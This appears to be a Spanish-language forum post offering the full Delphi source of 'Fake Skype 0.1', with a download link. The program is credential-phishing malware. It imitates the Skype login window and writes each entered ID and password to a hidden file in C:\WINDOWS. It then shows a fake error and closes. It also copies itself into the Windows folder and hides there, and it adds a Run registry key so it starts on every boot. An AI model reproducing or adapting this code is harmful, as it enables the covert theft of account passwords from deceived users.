Una imagen :
El codigo :
Código
// Fake Skype 0.1 // Coded By Doddy H unit fake; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, StdCtrls, Registry; type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Edit2: TEdit; Image2: TImage; procedure Image2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Edit2Click(Sender: TObject); procedure Edit1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Edit1Click(Sender: TObject); begin Edit1.Text := ''; end; procedure TForm1.Edit2Click(Sender: TObject); begin Edit2.Text := ''; end; procedure TForm1.FormCreate(Sender: TObject); var nombrereal: string; rutareal: string; yalisto: string; her: TRegistry; begin nombrereal := ExtractFileName(ParamStr(0)); rutareal := ParamStr(0); yalisto := 'C:\WINDOWS\' + nombrereal; MoveFile(Pchar(rutareal), Pchar(yalisto)); her := TRegistry.Create; her.RootKey := HKEY_LOCAL_MACHINE; her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); her.WriteString('uber', yalisto); her.Free; SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN); end; procedure TForm1.Image2Click(Sender: TObject); var archivo: TextFile; ruta: string; begin if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then begin WinExec('notepad c:/windows/datos.txt', SW_SHOW); end else begin if Edit1.Text = '' then begin ShowMessage( 'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com'); end; if Edit2.Text = '' then begin ShowMessage('Escribe tu contraseña'); end else begin if Edit2.Text = 'Escribe aqui tu contraseña' then begin ShowMessage('Escribe tu contraseña'); end else begin ruta := 'c:/windows/datos.txt'; // mod if FileExists(ruta) then begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; Append(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end else begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; ReWrite(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end; end; end; end; end; end. // The End ?
Si quieren bajarlo lo pueden hacer de aca.